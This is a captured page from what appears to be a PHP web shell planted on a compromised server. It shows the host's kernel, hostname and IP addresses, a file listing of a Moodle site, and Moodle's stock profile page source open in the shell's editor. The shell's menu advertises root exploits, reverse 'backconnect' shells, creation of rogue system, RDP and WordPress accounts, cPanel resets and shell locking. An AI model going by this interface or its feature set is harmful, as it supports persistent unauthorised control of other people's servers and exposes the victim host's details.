Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.126.134
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
user /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
filters
[ DIR ]
drwxr-xr-x
profile
[ DIR ]
drwxr-xr-x
selector
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
action_redir.php
10.01
KB
-rw-r--r--
calendar.php
3.74
KB
-rw-r--r--
course.php
2.14
KB
-rw-r--r--
defaulthomepage.php
2.13
KB
-rw-r--r--
edit.php
11.18
KB
-rw-r--r--
edit_form.php
9.53
KB
-rw-r--r--
editadvanced.php
12.98
KB
-rw-r--r--
editadvanced_form.php
12.77
KB
-rw-r--r--
editlib.php
20.02
KB
-rw-r--r--
editor.php
2.41
KB
-rw-r--r--
editor_form.php
2.51
KB
-rw-r--r--
emailupdate.php
3.51
KB
-rw-r--r--
externallib.php
84.81
KB
-rw-r--r--
files.php
3.44
KB
-rw-r--r--
files_form.php
2.44
KB
-rw-r--r--
forum.php
3.23
KB
-rw-r--r--
forum_form.php
3.91
KB
-rw-r--r--
grouppix.php
1.77
KB
-rw-r--r--
index.php
12.98
KB
-rw-r--r--
language.php
2.65
KB
-rw-r--r--
language_form.php
2.9
KB
-rw-r--r--
lib.php
52.67
KB
-rw-r--r--
managetoken.php
3.93
KB
-rw-r--r--
pix.php
1.51
KB
-rw-r--r--
policy.php
3.26
KB
-rw-r--r--
portfolio.php
4.7
KB
-rw-r--r--
portfoliologs.php
5.67
KB
-rw-r--r--
preferences.php
3.02
KB
-rw-r--r--
profile.php
8.38
KB
-rw-r--r--
profilesys.php
2.33
KB
-rw-r--r--
renderer.php
16.6
KB
-rw-r--r--
repository.php
2.78
KB
-rw-r--r--
upgrade.txt
896
B
-rw-r--r--
view.php
8.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Display profile for a particular user * * @package core_user * @copyright 1999 Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once("../config.php"); require_once($CFG->dirroot.'/user/profile/lib.php'); require_once($CFG->dirroot.'/user/lib.php'); require_once($CFG->libdir . '/filelib.php'); require_once($CFG->libdir . '/badgeslib.php'); $id = optional_param('id', 0, PARAM_INT); // User id. $courseid = optional_param('course', SITEID, PARAM_INT); // course id (defaults to Site). $showallcourses = optional_param('showallcourses', 0, PARAM_INT); // See your own profile by default. if (empty($id)) { require_login(); $id = $USER->id; } if ($courseid == SITEID) { // Since Moodle 2.0 all site-level profiles are shown by profile.php. redirect($CFG->wwwroot.'/user/profile.php?id='.$id); // Immediate redirect. } $PAGE->set_url('/user/view.php', array('id' => $id, 'course' => $courseid)); $user = $DB->get_record('user', array('id' => $id), '*', MUST_EXIST); $course = $DB->get_record('course', array('id' => $courseid), '*', MUST_EXIST); $currentuser = ($user->id == $USER->id); $systemcontext = context_system::instance(); $coursecontext = context_course::instance($course->id); $usercontext = context_user::instance($user->id, IGNORE_MISSING); // Check we are not trying to view guest's profile. if (isguestuser($user)) { // Can not view profile of guest - thre is nothing to see there. print_error('invaliduserid'); } $PAGE->set_context($coursecontext); if (!empty($CFG->forceloginforprofiles)) { require_login(); // We can not log in to course due to the parent hack below. // Guests do not have permissions to view anyone's profile if forceloginforprofiles is set. if (isguestuser()) { echo $OUTPUT->header(); echo $OUTPUT->confirm(get_string('guestcantaccessprofiles', 'error'), get_login_url(), $CFG->wwwroot); echo $OUTPUT->footer(); die; } } $PAGE->set_course($course); $PAGE->set_pagetype('course-view-' . $course->format); // To get the blocks exactly like the course. $PAGE->add_body_class('path-user'); // So we can style it independently. $PAGE->set_other_editing_capability('moodle/course:manageactivities'); // Set the Moodle docs path explicitly because the default behaviour // of inhereting the pagetype will lead to an incorrect docs location. $PAGE->set_docs_path('user/profile'); $isparent = false; if (!$currentuser and !$user->deleted and $DB->record_exists('role_assignments', array('userid' => $USER->id, 'contextid' => $usercontext->id)) and has_capability('moodle/user:viewdetails', $usercontext)) { // TODO: very ugly hack - do not force "parents" to enrol into course their child is enrolled in, // this way they may access the profile where they get overview of grades and child activity in course, // please note this is just a guess! require_login(); $isparent = true; $PAGE->navigation->set_userid_for_parent_checks($id); } else { // Normal course. require_login($course); // What to do with users temporary accessing this course? should they see the details? } $strpersonalprofile = get_string('personalprofile'); $strparticipants = get_string("participants"); $struser = get_string("user"); $fullname = fullname($user, has_capability('moodle/site:viewfullnames', $coursecontext)); // Now test the actual capabilities and enrolment in course. if ($currentuser) { if (!is_viewing($coursecontext) && !is_enrolled($coursecontext)) { // Need to have full access to a course to see the rest of own info. $referer = get_local_referer(false); if (!empty($referer)) { redirect($referer, get_string('notenrolled', '', $fullname)); } echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('notenrolled', '', $fullname)); echo $OUTPUT->footer(); die; } } else { // Somebody else. $PAGE->set_title("$strpersonalprofile: "); $PAGE->set_heading("$strpersonalprofile: "); // Check to see if the user can see this user's profile. if (!user_can_view_profile($user, $course, $usercontext) && !$isparent) { print_error('cannotviewprofile'); } if (!is_enrolled($coursecontext, $user->id)) { // TODO: the only potential problem is that managers and inspectors might post in forum, but the link // to profile would not work - maybe a new capability - moodle/user:freely_acessile_profile_for_anybody // or test for course:inspect capability. if (has_capability('moodle/role:assign', $coursecontext)) { $PAGE->navbar->add($fullname); $notice = get_string('notenrolled', '', $fullname); } else { $PAGE->navbar->add($struser); $notice = get_string('notenrolledprofile', '', $fullname); } $referer = get_local_referer(false); if (!empty($referer)) { redirect($referer, $notice); } echo $OUTPUT->header(); echo $OUTPUT->heading($notice); echo $OUTPUT->footer(); exit; } if (!isloggedin() or isguestuser()) { // Do not use require_login() here because we might have already used require_login($course). redirect(get_login_url()); } } $PAGE->set_title("$course->fullname: $strpersonalprofile: $fullname"); $PAGE->set_heading($course->fullname); $PAGE->set_pagelayout('mypublic'); // Locate the users settings in the settings navigation and force it open. // This MUST be done after we've set up the page as it is going to cause theme and output to initialise. if (!$currentuser) { $PAGE->navigation->extend_for_user($user); if ($node = $PAGE->settingsnav->get('userviewingsettings'.$user->id)) { $node->forceopen = true; } } else if ($node = $PAGE->settingsnav->get('usercurrentsettings', navigation_node::TYPE_CONTAINER)) { $node->forceopen = true; } if ($node = $PAGE->settingsnav->get('courseadmin')) { $node->forceopen = false; } echo $OUTPUT->header(); echo '<div class="userprofile">'; $headerinfo = array('heading' => fullname($user), 'user' => $user, 'usercontext' => $usercontext); echo $OUTPUT->context_header($headerinfo, 2); if ($user->deleted) { echo $OUTPUT->heading(get_string('userdeleted')); if (!has_capability('moodle/user:update', $coursecontext)) { echo $OUTPUT->footer(); die; } } // OK, security out the way, now we are showing the user. // Trigger a user profile viewed event. profile_view($user, $coursecontext, $course); $hiddenfields = []; if (!has_capability('moodle/user:viewhiddendetails', $coursecontext)) { $hiddenfields = array_flip(explode(',', $CFG->hiddenuserfields)); } if ($user->description && !isset($hiddenfields['description'])) { echo '<div class="description">'; if (!empty($CFG->profilesforenrolledusersonly) && !$DB->record_exists('role_assignments', array('userid' => $id))) { echo get_string('profilenotshown', 'moodle'); } else { if ($courseid == SITEID) { $user->description = file_rewrite_pluginfile_urls($user->description, 'pluginfile.php', $usercontext->id, 'user', 'profile', null); } else { // We have to make a little detour thought the course context to verify the access control for course profile. $user->description = file_rewrite_pluginfile_urls($user->description, 'pluginfile.php', $coursecontext->id, 'user', 'profile', $user->id); } $options = array('overflowdiv' => true); echo format_text($user->description, $user->descriptionformat, $options); } echo '</div>'; // Description class. } // Render custom blocks. $renderer = $PAGE->get_renderer('core_user', 'myprofile'); $tree = core_user\output\myprofile\manager::build_tree($user, $currentuser, $course); echo $renderer->render($tree); echo '</div>'; // Userprofile class. echo $OUTPUT->footer();
Close